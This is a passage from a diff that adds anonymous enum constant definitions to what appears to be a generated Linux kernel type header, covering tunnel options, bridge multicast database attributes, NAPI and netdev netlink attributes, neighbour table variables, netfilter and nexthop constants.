LWTUNNEL_IP_OPTS_UNSPEC = 0, + LWTUNNEL_IP_OPTS_GENEVE = 1, + LWTUNNEL_IP_OPTS_VXLAN = 2, + LWTUNNEL_IP_OPTS_ERSPAN = 3, + __LWTUNNEL_IP_OPTS_MAX = 4, +}; + +enum { + LWTUNNEL_IP_OPT_ERSPAN_UNSPEC = 0, + LWTUNNEL_IP_OPT_ERSPAN_VER = 1, + LWTUNNEL_IP_OPT_ERSPAN_INDEX = 2, + LWTUNNEL_IP_OPT_ERSPAN_DIR = 3, + LWTUNNEL_IP_OPT_ERSPAN_HWID = 4, + __LWTUNNEL_IP_OPT_ERSPAN_MAX = 5, +}; + +enum { + LWTUNNEL_IP_OPT_GENEVE_UNSPEC = 0, + LWTUNNEL_IP_OPT_GENEVE_CLASS = 1, + LWTUNNEL_IP_OPT_GENEVE_TYPE = 2, + LWTUNNEL_IP_OPT_GENEVE_DATA = 3, + __LWTUNNEL_IP_OPT_GENEVE_MAX = 4, +}; + +enum { + LWTUNNEL_IP_OPT_VXLAN_UNSPEC = 0, + LWTUNNEL_IP_OPT_VXLAN_GBP = 1, + __LWTUNNEL_IP_OPT_VXLAN_MAX = 2, +}; + +enum { + LWTUNNEL_XMIT_DONE = 0, + LWTUNNEL_XMIT_CONTINUE = 256, +}; + +enum { + Lo_unbound = 0, + Lo_bound = 1, + Lo_rundown = 2, + Lo_deleting = 3, +}; + +enum { + MATCH_MTR = 0, + MATCH_MEQ = 1, + MATCH_MLE = 2, + MATCH_MLT = 3, + MATCH_MGE = 4, + MATCH_MGT = 5, +}; + +enum { + MAX_IORES_LEVEL = 5, +}; + +enum { + MAX_OPT_ARGS = 3, +}; + +enum { + MBE_REFERENCED_B = 0, + MBE_REUSABLE_B = 1, +}; + +enum { + MB_INODE_PA = 0, + MB_GROUP_PA = 1, +}; + +enum { + MDBA_GET_ENTRY_UNSPEC = 0, + MDBA_GET_ENTRY = 1, + MDBA_GET_ENTRY_ATTRS = 2, + __MDBA_GET_ENTRY_MAX = 3, +}; + +enum { + MDBA_MDB_EATTR_UNSPEC = 0, + MDBA_MDB_EATTR_TIMER = 1, + MDBA_MDB_EATTR_SRC_LIST = 2, + MDBA_MDB_EATTR_GROUP_MODE = 3, + MDBA_MDB_EATTR_SOURCE = 4, + MDBA_MDB_EATTR_RTPROT = 5, + MDBA_MDB_EATTR_DST = 6, + MDBA_MDB_EATTR_DST_PORT = 7, + MDBA_MDB_EATTR_VNI = 8, + MDBA_MDB_EATTR_IFINDEX = 9, + MDBA_MDB_EATTR_SRC_VNI = 10, + __MDBA_MDB_EATTR_MAX = 11, +}; + +enum { + MDBA_MDB_ENTRY_UNSPEC = 0, + MDBA_MDB_ENTRY_INFO = 1, + __MDBA_MDB_ENTRY_MAX = 2, +}; + +enum { + MDBA_MDB_SRCATTR_UNSPEC = 0, + MDBA_MDB_SRCATTR_ADDRESS = 1, + MDBA_MDB_SRCATTR_TIMER = 2, + __MDBA_MDB_SRCATTR_MAX = 3, +}; + +enum { + MDBA_MDB_SRCLIST_UNSPEC = 0, + MDBA_MDB_SRCLIST_ENTRY = 1, + __MDBA_MDB_SRCLIST_MAX = 2, +}; + +enum { + MDBA_MDB_UNSPEC = 0, + MDBA_MDB_ENTRY = 1, + __MDBA_MDB_MAX = 2, +}; + +enum { + MDBA_ROUTER_PATTR_UNSPEC = 0, + MDBA_ROUTER_PATTR_TIMER = 1, + MDBA_ROUTER_PATTR_TYPE = 2, + MDBA_ROUTER_PATTR_INET_TIMER = 3, + MDBA_ROUTER_PATTR_INET6_TIMER = 4, + MDBA_ROUTER_PATTR_VID = 5, + __MDBA_ROUTER_PATTR_MAX = 6, +}; + +enum { + MDBA_ROUTER_UNSPEC = 0, + MDBA_ROUTER_PORT = 1, + __MDBA_ROUTER_MAX = 2, +}; + +enum { + MDBA_SET_ENTRY_UNSPEC = 0, + MDBA_SET_ENTRY = 1, + MDBA_SET_ENTRY_ATTRS = 2, + __MDBA_SET_ENTRY_MAX = 3, +}; + +enum { + MDBA_UNSPEC = 0, + MDBA_MDB = 1, + MDBA_ROUTER = 2, + __MDBA_MAX = 3, +}; + +enum { + MDBE_ATTR_UNSPEC = 0, + MDBE_ATTR_SOURCE = 1, + MDBE_ATTR_SRC_LIST = 2, + MDBE_ATTR_GROUP_MODE = 3, + MDBE_ATTR_RTPROT = 4, + MDBE_ATTR_DST = 5, + MDBE_ATTR_DST_PORT = 6, + MDBE_ATTR_VNI = 7, + MDBE_ATTR_IFINDEX = 8, + MDBE_ATTR_SRC_VNI = 9, + MDBE_ATTR_STATE_MASK = 10, + __MDBE_ATTR_MAX = 11, +}; + +enum { + MDBE_SRCATTR_UNSPEC = 0, + MDBE_SRCATTR_ADDRESS = 1, + __MDBE_SRCATTR_MAX = 2, +}; + +enum { + MDB_RTR_TYPE_DISABLED = 0, + MDB_RTR_TYPE_TEMP_QUERY = 1, + MDB_RTR_TYPE_PERM = 2, + MDB_RTR_TYPE_TEMP = 3, +}; + +enum { + MD_RESYNC_NONE = 0, + MD_RESYNC_YIELDED = 1, + MD_RESYNC_DELAYED = 2, + MD_RESYNC_ACTIVE = 3, +}; + +enum { + MEASUREMENT_READY = 1, + MEASUREMENT_ACTIVE = 2, +}; + +enum { + MEMBARRIER_FLAG_SYNC_CORE = 1, + MEMBARRIER_FLAG_RSEQ = 2, +}; + +enum { + MEMBARRIER_STATE_PRIVATE_EXPEDITED_READY = 1, + MEMBARRIER_STATE_PRIVATE_EXPEDITED = 2, + MEMBARRIER_STATE_GLOBAL_EXPEDITED_READY = 4, + MEMBARRIER_STATE_GLOBAL_EXPEDITED = 8, + MEMBARRIER_STATE_PRIVATE_EXPEDITED_SYNC_CORE_READY = 16, + MEMBARRIER_STATE_PRIVATE_EXPEDITED_SYNC_CORE = 32, + MEMBARRIER_STATE_PRIVATE_EXPEDITED_RSEQ_READY = 64, + MEMBARRIER_STATE_PRIVATE_EXPEDITED_RSEQ = 128, +}; + +enum { + MEMORY_RECLAIM_SWAPPINESS = 0, + MEMORY_RECLAIM_NULL = 1, +}; + +enum { + MEMREMAP_WB = 1, + MEMREMAP_WT = 2, + MEMREMAP_WC = 4, + MEMREMAP_ENC = 8, + MEMREMAP_DEC = 16, +}; + +enum { + MEMTYPE_EXACT_MATCH = 0, + MEMTYPE_END_MATCH = 1, +}; + +enum { + MILLION = 1000000, + MIN_PERIOD = 1000, + MAX_PERIOD = 1000000, + MARGIN_MIN_PCT = 10, + MARGIN_LOW_PCT = 20, + MARGIN_TARGET_PCT = 50, + INUSE_ADJ_STEP_PCT = 25, + TIMER_SLACK_PCT = 1, + WEIGHT_ONE = 65536, +}; + +enum { + MIX_INFLIGHT = 2147483648, +}; + +enum { + MM_FILEPAGES = 0, + MM_ANONPAGES = 1, + MM_SWAPENTS = 2, + MM_SHMEMPAGES = 3, + NR_MM_COUNTERS = 4, +}; + +enum { + MOXA_SUPP_RS232 = 1, + MOXA_SUPP_RS422 = 2, + MOXA_SUPP_RS485 = 4, +}; + +enum { + MPOL_DEFAULT = 0, + MPOL_PREFERRED = 1, + MPOL_BIND = 2, + MPOL_INTERLEAVE = 3, + MPOL_LOCAL = 4, + MPOL_PREFERRED_MANY = 5, + MPOL_WEIGHTED_INTERLEAVE = 6, + MPOL_MAX = 7, +}; + +enum { + MSI_FLAG_USE_DEF_DOM_OPS = 1, + MSI_FLAG_USE_DEF_CHIP_OPS = 2, + MSI_FLAG_ACTIVATE_EARLY = 4, + MSI_FLAG_MUST_REACTIVATE = 8, + MSI_FLAG_DEV_SYSFS = 16, + MSI_FLAG_ALLOC_SIMPLE_MSI_DESCS = 32, + MSI_FLAG_FREE_MSI_DESCS = 64, + MSI_FLAG_USE_DEV_FWNODE = 128, + MSI_FLAG_PARENT_PM_DEV = 256, + MSI_FLAG_PCI_MSI_MASK_PARENT = 512, + MSI_GENERIC_FLAGS_MASK = 65535, + MSI_DOMAIN_FLAGS_MASK = 4294901760, + MSI_FLAG_MULTI_PCI_MSI = 65536, + MSI_FLAG_PCI_MSIX = 131072, + MSI_FLAG_LEVEL_CAPABLE = 262144, + MSI_FLAG_MSIX_CONTIGUOUS = 524288, + MSI_FLAG_PCI_MSIX_ALLOC_DYN = 1048576, + MSI_FLAG_NO_AFFINITY = 2097152, +}; + +enum { + MTTG_TRAV_INIT = 0, + MTTG_TRAV_NFP_UNSPEC = 1, + MTTG_TRAV_NFP_SPEC = 2, + MTTG_TRAV_DONE = 3, +}; + +enum { + M_I17 = 0, + M_I20 = 1, + M_I20_SR = 2, + M_I24 = 3, + M_I24_8_1 = 4, + M_I24_10_1 = 5, + M_I27_11_1 = 6, + M_MINI = 7, + M_MINI_3_1 = 8, + M_MINI_4_1 = 9, + M_MB = 10, + M_MB_2 = 11, + M_MB_3 = 12, + M_MB_5_1 = 13, + M_MB_6_1 = 14, + M_MB_7_1 = 15, + M_MB_SR = 16, + M_MBA = 17, + M_MBA_3 = 18, + M_MBP = 19, + M_MBP_2 = 20, + M_MBP_2_2 = 21, + M_MBP_SR = 22, + M_MBP_4 = 23, + M_MBP_5_1 = 24, + M_MBP_5_2 = 25, + M_MBP_5_3 = 26, + M_MBP_6_1 = 27, + M_MBP_6_2 = 28, + M_MBP_7_1 = 29, + M_MBP_8_2 = 30, + M_UNKNOWN = 31, +}; + +enum { + NAPIF_STATE_SCHED = 1, + NAPIF_STATE_MISSED = 2, + NAPIF_STATE_DISABLE = 4, + NAPIF_STATE_NPSVC = 8, + NAPIF_STATE_LISTED = 16, + NAPIF_STATE_NO_BUSY_POLL = 32, + NAPIF_STATE_IN_BUSY_POLL = 64, + NAPIF_STATE_PREFER_BUSY_POLL = 128, + NAPIF_STATE_THREADED = 256, + NAPIF_STATE_SCHED_THREADED = 512, +}; + +enum { + NAPI_F_PREFER_BUSY_POLL = 1, + NAPI_F_END_ON_RESCHED = 2, +}; + +enum { + NAPI_STATE_SCHED = 0, + NAPI_STATE_MISSED = 1, + NAPI_STATE_DISABLE = 2, + NAPI_STATE_NPSVC = 3, + NAPI_STATE_LISTED = 4, + NAPI_STATE_NO_BUSY_POLL = 5, + NAPI_STATE_IN_BUSY_POLL = 6, + NAPI_STATE_PREFER_BUSY_POLL = 7, + NAPI_STATE_THREADED = 8, + NAPI_STATE_SCHED_THREADED = 9, +}; + +enum { + NDA_UNSPEC = 0, + NDA_DST = 1, + NDA_LLADDR = 2, + NDA_CACHEINFO = 3, + NDA_PROBES = 4, + NDA_VLAN = 5, + NDA_PORT = 6, + NDA_VNI = 7, + NDA_IFINDEX = 8, + NDA_MASTER = 9, + NDA_LINK_NETNSID = 10, + NDA_SRC_VNI = 11, + NDA_PROTOCOL = 12, + NDA_NH_ID = 13, + NDA_FDB_EXT_ATTRS = 14, + NDA_FLAGS_EXT = 15, + NDA_NDM_STATE_MASK = 16, + NDA_NDM_FLAGS_MASK = 17, + __NDA_MAX = 18, +}; + +enum { + NDTA_UNSPEC = 0, + NDTA_NAME = 1, + NDTA_THRESH1 = 2, + NDTA_THRESH2 = 3, + NDTA_THRESH3 = 4, + NDTA_CONFIG = 5, + NDTA_PARMS = 6, + NDTA_STATS = 7, + NDTA_GC_INTERVAL = 8, + NDTA_PAD = 9, + __NDTA_MAX = 10, +}; + +enum { + NDTPA_UNSPEC = 0, + NDTPA_IFINDEX = 1, + NDTPA_REFCNT = 2, + NDTPA_REACHABLE_TIME = 3, + NDTPA_BASE_REACHABLE_TIME = 4, + NDTPA_RETRANS_TIME = 5, + NDTPA_GC_STALETIME = 6, + NDTPA_DELAY_PROBE_TIME = 7, + NDTPA_QUEUE_LEN = 8, + NDTPA_APP_PROBES = 9, + NDTPA_UCAST_PROBES = 10, + NDTPA_MCAST_PROBES = 11, + NDTPA_ANYCAST_DELAY = 12, + NDTPA_PROXY_DELAY = 13, + NDTPA_PROXY_QLEN = 14, + NDTPA_LOCKTIME = 15, + NDTPA_QUEUE_LENBYTES = 16, + NDTPA_MCAST_REPROBES = 17, + NDTPA_PAD = 18, + NDTPA_INTERVAL_PROBE_TIME_MS = 19, + __NDTPA_MAX = 20, +}; + +enum { + NDUSEROPT_UNSPEC = 0, + NDUSEROPT_SRCADDR = 1, + __NDUSEROPT_MAX = 2, +}; + +enum { + NEIGH_ARP_TABLE = 0, + NEIGH_ND_TABLE = 1, + NEIGH_DN_TABLE = 2, + NEIGH_NR_TABLES = 3, + NEIGH_LINK_TABLE = 3, +}; + +enum { + NEIGH_VAR_MCAST_PROBES = 0, + NEIGH_VAR_UCAST_PROBES = 1, + NEIGH_VAR_APP_PROBES = 2, + NEIGH_VAR_MCAST_REPROBES = 3, + NEIGH_VAR_RETRANS_TIME = 4, + NEIGH_VAR_BASE_REACHABLE_TIME = 5, + NEIGH_VAR_DELAY_PROBE_TIME = 6, + NEIGH_VAR_INTERVAL_PROBE_TIME_MS = 7, + NEIGH_VAR_GC_STALETIME = 8, + NEIGH_VAR_QUEUE_LEN_BYTES = 9, + NEIGH_VAR_PROXY_QLEN = 10, + NEIGH_VAR_ANYCAST_DELAY = 11, + NEIGH_VAR_PROXY_DELAY = 12, + NEIGH_VAR_LOCKTIME = 13, + NEIGH_VAR_QUEUE_LEN = 14, + NEIGH_VAR_RETRANS_TIME_MS = 15, + NEIGH_VAR_BASE_REACHABLE_TIME_MS = 16, + NEIGH_VAR_GC_INTERVAL = 17, + NEIGH_VAR_GC_THRESH1 = 18, + NEIGH_VAR_GC_THRESH2 = 19, + NEIGH_VAR_GC_THRESH3 = 20, + NEIGH_VAR_MAX = 21, +}; + +enum { + NESTED_SYNC_IMM_BIT = 0, + NESTED_SYNC_TODO_BIT = 1, +}; + +enum { + NETCONFA_UNSPEC = 0, + NETCONFA_IFINDEX = 1, + NETCONFA_FORWARDING = 2, + NETCONFA_RP_FILTER = 3, + NETCONFA_MC_FORWARDING = 4, + NETCONFA_PROXY_NEIGH = 5, + NETCONFA_IGNORE_ROUTES_WITH_LINKDOWN = 6, + NETCONFA_INPUT = 7, + NETCONFA_BC_FORWARDING = 8, + __NETCONFA_MAX = 9, +}; + +enum { + NETDEV_A_DEV_IFINDEX = 1, + NETDEV_A_DEV_PAD = 2, + NETDEV_A_DEV_XDP_FEATURES = 3, + NETDEV_A_DEV_XDP_ZC_MAX_SEGS = 4, + NETDEV_A_DEV_XDP_RX_METADATA_FEATURES = 5, + NETDEV_A_DEV_XSK_FEATURES = 6, + __NETDEV_A_DEV_MAX = 7, + NETDEV_A_DEV_MAX = 6, +}; + +enum { + NETDEV_A_DMABUF_IFINDEX = 1, + NETDEV_A_DMABUF_QUEUES = 2, + NETDEV_A_DMABUF_FD = 3, + NETDEV_A_DMABUF_ID = 4, + __NETDEV_A_DMABUF_MAX = 5, + NETDEV_A_DMABUF_MAX = 4, +}; + +enum { + NETDEV_A_NAPI_IFINDEX = 1, + NETDEV_A_NAPI_ID = 2, + NETDEV_A_NAPI_IRQ = 3, + NETDEV_A_NAPI_PID = 4, + __NETDEV_A_NAPI_MAX = 5, + NETDEV_A_NAPI_MAX = 4, +}; + +enum { + NETDEV_A_PAGE_POOL_ID = 1, + NETDEV_A_PAGE_POOL_IFINDEX = 2, + NETDEV_A_PAGE_POOL_NAPI_ID = 3, + NETDEV_A_PAGE_POOL_INFLIGHT = 4, + NETDEV_A_PAGE_POOL_INFLIGHT_MEM = 5, + NETDEV_A_PAGE_POOL_DETACH_TIME = 6, + NETDEV_A_PAGE_POOL_DMABUF = 7, + __NETDEV_A_PAGE_POOL_MAX = 8, + NETDEV_A_PAGE_POOL_MAX = 7, +}; + +enum { + NETDEV_A_PAGE_POOL_STATS_INFO = 1, + NETDEV_A_PAGE_POOL_STATS_ALLOC_FAST = 8, + NETDEV_A_PAGE_POOL_STATS_ALLOC_SLOW = 9, + NETDEV_A_PAGE_POOL_STATS_ALLOC_SLOW_HIGH_ORDER = 10, + NETDEV_A_PAGE_POOL_STATS_ALLOC_EMPTY = 11, + NETDEV_A_PAGE_POOL_STATS_ALLOC_REFILL = 12, + NETDEV_A_PAGE_POOL_STATS_ALLOC_WAIVE = 13, + NETDEV_A_PAGE_POOL_STATS_RECYCLE_CACHED = 14, + NETDEV_A_PAGE_POOL_STATS_RECYCLE_CACHE_FULL = 15, + NETDEV_A_PAGE_POOL_STATS_RECYCLE_RING = 16, + NETDEV_A_PAGE_POOL_STATS_RECYCLE_RING_FULL = 17, + NETDEV_A_PAGE_POOL_STATS_RECYCLE_RELEASED_REFCNT = 18, + __NETDEV_A_PAGE_POOL_STATS_MAX = 19, + NETDEV_A_PAGE_POOL_STATS_MAX = 18, +}; + +enum { + NETDEV_A_QSTATS_IFINDEX = 1, + NETDEV_A_QSTATS_QUEUE_TYPE = 2, + NETDEV_A_QSTATS_QUEUE_ID = 3, + NETDEV_A_QSTATS_SCOPE = 4, + NETDEV_A_QSTATS_RX_PACKETS = 8, + NETDEV_A_QSTATS_RX_BYTES = 9, + NETDEV_A_QSTATS_TX_PACKETS = 10, + NETDEV_A_QSTATS_TX_BYTES = 11, + NETDEV_A_QSTATS_RX_ALLOC_FAIL = 12, + NETDEV_A_QSTATS_RX_HW_DROPS = 13, + NETDEV_A_QSTATS_RX_HW_DROP_OVERRUNS = 14, + NETDEV_A_QSTATS_RX_CSUM_COMPLETE = 15, + NETDEV_A_QSTATS_RX_CSUM_UNNECESSARY = 16, + NETDEV_A_QSTATS_RX_CSUM_NONE = 17, + NETDEV_A_QSTATS_RX_CSUM_BAD = 18, + NETDEV_A_QSTATS_RX_HW_GRO_PACKETS = 19, + NETDEV_A_QSTATS_RX_HW_GRO_BYTES = 20, + NETDEV_A_QSTATS_RX_HW_GRO_WIRE_PACKETS = 21, + NETDEV_A_QSTATS_RX_HW_GRO_WIRE_BYTES = 22, + NETDEV_A_QSTATS_RX_HW_DROP_RATELIMITS = 23, + NETDEV_A_QSTATS_TX_HW_DROPS = 24, + NETDEV_A_QSTATS_TX_HW_DROP_ERRORS = 25, + NETDEV_A_QSTATS_TX_CSUM_NONE = 26, + NETDEV_A_QSTATS_TX_NEEDS_CSUM = 27, + NETDEV_A_QSTATS_TX_HW_GSO_PACKETS = 28, + NETDEV_A_QSTATS_TX_HW_GSO_BYTES = 29, + NETDEV_A_QSTATS_TX_HW_GSO_WIRE_PACKETS = 30, + NETDEV_A_QSTATS_TX_HW_GSO_WIRE_BYTES = 31, + NETDEV_A_QSTATS_TX_HW_DROP_RATELIMITS = 32, + NETDEV_A_QSTATS_TX_STOP = 33, + NETDEV_A_QSTATS_TX_WAKE = 34, + __NETDEV_A_QSTATS_MAX = 35, + NETDEV_A_QSTATS_MAX = 34, +}; + +enum { + NETDEV_A_QUEUE_ID = 1, + NETDEV_A_QUEUE_IFINDEX = 2, + NETDEV_A_QUEUE_TYPE = 3, + NETDEV_A_QUEUE_NAPI_ID = 4, + NETDEV_A_QUEUE_DMABUF = 5, + __NETDEV_A_QUEUE_MAX = 6, + NETDEV_A_QUEUE_MAX = 5, +}; + +enum { + NETDEV_CMD_DEV_GET = 1, + NETDEV_CMD_DEV_ADD_NTF = 2, + NETDEV_CMD_DEV_DEL_NTF = 3, + NETDEV_CMD_DEV_CHANGE_NTF = 4, + NETDEV_CMD_PAGE_POOL_GET = 5, + NETDEV_CMD_PAGE_POOL_ADD_NTF = 6, + NETDEV_CMD_PAGE_POOL_DEL_NTF = 7, + NETDEV_CMD_PAGE_POOL_CHANGE_NTF = 8, + NETDEV_CMD_PAGE_POOL_STATS_GET = 9, + NETDEV_CMD_QUEUE_GET = 10, + NETDEV_CMD_NAPI_GET = 11, + NETDEV_CMD_QSTATS_GET = 12, + NETDEV_CMD_BIND_RX = 13, + __NETDEV_CMD_MAX = 14, + NETDEV_CMD_MAX = 13, +}; + +enum { + NETDEV_NLGRP_MGMT = 0, + NETDEV_NLGRP_PAGE_POOL = 1, +}; + +enum { + NETDEV_STATS = 0, + E1000_STATS = 1, +}; + +enum { + NETIF_F_SG_BIT = 0, + NETIF_F_IP_CSUM_BIT = 1, + __UNUSED_NETIF_F_1 = 2, + NETIF_F_HW_CSUM_BIT = 3, + NETIF_F_IPV6_CSUM_BIT = 4, + NETIF_F_HIGHDMA_BIT = 5, + NETIF_F_FRAGLIST_BIT = 6, + NETIF_F_HW_VLAN_CTAG_TX_BIT = 7, + NETIF_F_HW_VLAN_CTAG_RX_BIT = 8, + NETIF_F_HW_VLAN_CTAG_FILTER_BIT = 9, + NETIF_F_VLAN_CHALLENGED_BIT = 10, + NETIF_F_GSO_BIT = 11, + __UNUSED_NETIF_F_12 = 12, + __UNUSED_NETIF_F_13 = 13, + NETIF_F_GRO_BIT = 14, + NETIF_F_LRO_BIT = 15, + NETIF_F_GSO_SHIFT = 16, + NETIF_F_TSO_BIT = 16, + NETIF_F_GSO_ROBUST_BIT = 17, + NETIF_F_TSO_ECN_BIT = 18, + NETIF_F_TSO_MANGLEID_BIT = 19, + NETIF_F_TSO6_BIT = 20, + NETIF_F_FSO_BIT = 21, + NETIF_F_GSO_GRE_BIT = 22, + NETIF_F_GSO_GRE_CSUM_BIT = 23, + NETIF_F_GSO_IPXIP4_BIT = 24, + NETIF_F_GSO_IPXIP6_BIT = 25, + NETIF_F_GSO_UDP_TUNNEL_BIT = 26, + NETIF_F_GSO_UDP_TUNNEL_CSUM_BIT = 27, + NETIF_F_GSO_PARTIAL_BIT = 28, + NETIF_F_GSO_TUNNEL_REMCSUM_BIT = 29, + NETIF_F_GSO_SCTP_BIT = 30, + NETIF_F_GSO_ESP_BIT = 31, + NETIF_F_GSO_UDP_BIT = 32, + NETIF_F_GSO_UDP_L4_BIT = 33, + NETIF_F_GSO_FRAGLIST_BIT = 34, + NETIF_F_GSO_LAST = 34, + NETIF_F_FCOE_CRC_BIT = 35, + NETIF_F_SCTP_CRC_BIT = 36, + __UNUSED_NETIF_F_37 = 37, + NETIF_F_NTUPLE_BIT = 38, + NETIF_F_RXHASH_BIT = 39, + NETIF_F_RXCSUM_BIT = 40, + NETIF_F_NOCACHE_COPY_BIT = 41, + NETIF_F_LOOPBACK_BIT = 42, + NETIF_F_RXFCS_BIT = 43, + NETIF_F_RXALL_BIT = 44, + NETIF_F_HW_VLAN_STAG_TX_BIT = 45, + NETIF_F_HW_VLAN_STAG_RX_BIT = 46, + NETIF_F_HW_VLAN_STAG_FILTER_BIT = 47, + NETIF_F_HW_L2FW_DOFFLOAD_BIT = 48, + NETIF_F_HW_TC_BIT = 49, + NETIF_F_HW_ESP_BIT = 50, + NETIF_F_HW_ESP_TX_CSUM_BIT = 51, + NETIF_F_RX_UDP_TUNNEL_PORT_BIT = 52, + NETIF_F_HW_TLS_TX_BIT = 53, + NETIF_F_HW_TLS_RX_BIT = 54, + NETIF_F_GRO_HW_BIT = 55, + NETIF_F_HW_TLS_RECORD_BIT = 56, + NETIF_F_GRO_FRAGLIST_BIT = 57, + NETIF_F_HW_MACSEC_BIT = 58, + NETIF_F_GRO_UDP_FWD_BIT = 59, + NETIF_F_HW_HSR_TAG_INS_BIT = 60, + NETIF_F_HW_HSR_TAG_RM_BIT = 61, + NETIF_F_HW_HSR_FWD_BIT = 62, + NETIF_F_HW_HSR_DUP_BIT = 63, + NETDEV_FEATURE_COUNT = 64, +}; + +enum { + NETIF_MSG_DRV_BIT = 0, + NETIF_MSG_PROBE_BIT = 1, + NETIF_MSG_LINK_BIT = 2, + NETIF_MSG_TIMER_BIT = 3, + NETIF_MSG_IFDOWN_BIT = 4, + NETIF_MSG_IFUP_BIT = 5, + NETIF_MSG_RX_ERR_BIT = 6, + NETIF_MSG_TX_ERR_BIT = 7, + NETIF_MSG_TX_QUEUED_BIT = 8, + NETIF_MSG_INTR_BIT = 9, + NETIF_MSG_TX_DONE_BIT = 10, + NETIF_MSG_RX_STATUS_BIT = 11, + NETIF_MSG_PKTDATA_BIT = 12, + NETIF_MSG_HW_BIT = 13, + NETIF_MSG_WOL_BIT = 14, + NETIF_MSG_CLASS_COUNT = 15, +}; + +enum { + NETLINK_F_KERNEL_SOCKET = 0, + NETLINK_F_RECV_PKTINFO = 1, + NETLINK_F_BROADCAST_SEND_ERROR = 2, + NETLINK_F_RECV_NO_ENOBUFS = 3, + NETLINK_F_LISTEN_ALL_NSID = 4, + NETLINK_F_CAP_ACK = 5, + NETLINK_F_EXT_ACK = 6, + NETLINK_F_STRICT_CHK = 7, +}; + +enum { + NETLINK_UNCONNECTED = 0, + NETLINK_CONNECTED = 1, +}; + +enum { + NETNSA_NONE = 0, + NETNSA_NSID = 1, + NETNSA_PID = 2, + NETNSA_FD = 3, + NETNSA_TARGET_NSID = 4, + NETNSA_CURRENT_NSID = 5, + __NETNSA_MAX = 6, +}; + +enum { + NET_NS_INDEX = 0, + UTS_NS_INDEX = 1, + IPC_NS_INDEX = 2, + PID_NS_INDEX = 3, + USER_NS_INDEX = 4, + MNT_NS_INDEX = 5, + CGROUP_NS_INDEX = 6, + NR_NAMESPACES = 7, +}; + +enum { + NEXTHOP_GRP_TYPE_MPATH = 0, + NEXTHOP_GRP_TYPE_RES = 1, + __NEXTHOP_GRP_TYPE_MAX = 2, +}; + +enum { + NFACCT_NO_QUOTA = -1, + NFACCT_UNDERQUOTA = 0, + NFACCT_OVERQUOTA = 1, +}; + +enum { + NFEA_UNSPEC = 0, + NFEA_ACTIVITY_NOTIFY = 1, + NFEA_DONT_REFRESH = 2, + __NFEA_MAX = 3, +}; + +enum { + NFNL_BATCH_FAILURE = 1, + NFNL_BATCH_DONE = 2, + NFNL_BATCH_REPLAY = 4, +}; + +enum { + NFNL_MSG_COMPAT_GET = 0, + NFNL_MSG_COMPAT_MAX = 1, +}; + +enum { + NFPROTO_UNSPEC = 0, + NFPROTO_INET = 1, + NFPROTO_IPV4 = 2, + NFPROTO_ARP = 3, + NFPROTO_NETDEV = 5, + NFPROTO_BRIDGE = 7, + NFPROTO_IPV6 = 10, + NFPROTO_NUMPROTO = 11, +}; + +enum { + NFTA_COMPAT_UNSPEC = 0, + NFTA_COMPAT_NAME = 1, + NFTA_COMPAT_REV = 2, + NFTA_COMPAT_TYPE = 3, + __NFTA_COMPAT_MAX = 4, +}; + +enum { + NFT_INNER_EXPR_PAYLOAD = 0, + NFT_INNER_EXPR_META = 1, +}; + +enum { + NFT_PAYLOAD_CTX_INNER_TUN = 1, + NFT_PAYLOAD_CTX_INNER_LL = 2, + NFT_PAYLOAD_CTX_INNER_NH = 4, + NFT_PAYLOAD_CTX_INNER_TH = 8, +}; + +enum { + NFT_PKTINFO_L4PROTO = 1, + NFT_PKTINFO_INNER = 2, + NFT_PKTINFO_INNER_FULL = 4, +}; + +enum { + NFT_VALIDATE_SKIP = 0, + NFT_VALIDATE_NEED = 1, + NFT_VALIDATE_DO = 2, +}; + +enum { + NF_BPF_CT_OPTS_SZ = 16, +}; + +enum { + NHA_GROUP_STATS_ENTRY_UNSPEC = 0, + NHA_GROUP_STATS_ENTRY_ID = 1, + NHA_GROUP_STATS_ENTRY_PACKETS = 2, + NHA_GROUP_STATS_ENTRY_PACKETS_HW = 3, + __NHA_GROUP_STATS_ENTRY_MAX = 4, +}; + +enum { + NHA_GROUP_STATS_UNSPEC = 0, + NHA_GROUP_STATS_ENTRY = 1, + __NHA_GROUP_STATS_MAX = 2, +}; + +enum { + NHA_RES_BUCKET_UNSPEC = 0, + NHA_RES_BUCKET_PAD = 0, + NHA_RES_BUCKET_INDEX = 1, + NHA_RES_BUCKET_IDLE_TIME = 2, + NHA_RES_BUCKET_NH_ID = 3, + __NHA_RES_BUCKET_MAX = 4, +}; + +enum { + NHA_RES_GROUP_UNSPEC = 0, + NHA_RES_GROUP_PAD = 0, + NHA_RES_GROUP_BUCKETS = 1, + NHA_RES_GROUP_IDLE_TIMER = 2, + NHA_RES_GROUP_UNBALANCED_TIMER = 3, + NHA_RES_GROUP_UNBALANCED_TIME = 4, + __NHA_RES_GROUP_MAX = 5, +}; + +enum { + NHA_UNSPEC = 0, + NHA_ID = 1, + NHA_GROUP = 2, + NHA_GROUP_TYPE = 3, + NHA_BLACKHOLE = 4, + NHA_OIF = 5, + NHA_GATEWAY = 6, + NHA_ENCAP_TYPE = 7, + NHA_ENCAP = 8, + NHA_GROUPS = 9, + NHA_MASTER = 10, + NHA_FDB = 11, + NHA_RES_GROUP = 12, + NHA_RES_BUCKET = 13, + NHA_OP_FLAGS = 14, + NHA_GROUP_STATS = 15, + NHA_HW_STATS_ENABLE = 16, + NHA_HW_STATS_USED = 17, + __NHA_MAX = 18, +}; + +enum { + NLA_UNSPEC = 0, + NLA_U8 = 1, + NLA_U16 = 2, + NLA_U32 = 3, + NLA_U64 = 4, + NLA_STRING = 5, + NLA_FLAG = 6, + NLA_MSECS = 7, + NLA_NESTED = 8, + NLA_NESTED_ARRAY = 9, + NLA_NUL_STRING = 10, + NLA_BINARY = 11, + NLA_S8 = 12, + NLA_S16 = 13, + NLA_S32 = 14, + NLA_S64 = 15, + NLA_BITFIELD32 = 16, + NLA_REJECT = 17, + NLA_BE16 = 18, + NLA_BE32 = 19, + NLA_SINT = 20, + NLA_UINT = 21, + __NLA_TYPE_MAX = 22, +}; + +enum { + NMI_LOCAL = 0, + NMI_UNKNOWN = 1, + NMI_SERR = 2, + NMI_IO_CHECK = 3, + NMI_MAX = 4, +}; + +enum { + NONE___2 = 0, + ADD = 1, + REMOVE = 2, + HT_RATE_INIT = 3, + ADD_RATE_INIT = 4, +}; + +enum { + NONE_FORCE_HPET_RESUME = 0, + OLD_ICH_FORCE_HPET_RESUME = 1, + ICH_FORCE_HPET_RESUME = 2, + VT8237_FORCE_HPET_RESUME = 3, + NVIDIA_FORCE_HPET_RESUME = 4, + ATI_FORCE_HPET_RESUME = 5, +}; + +enum { + NUM_TRIAL_SAMPLES = 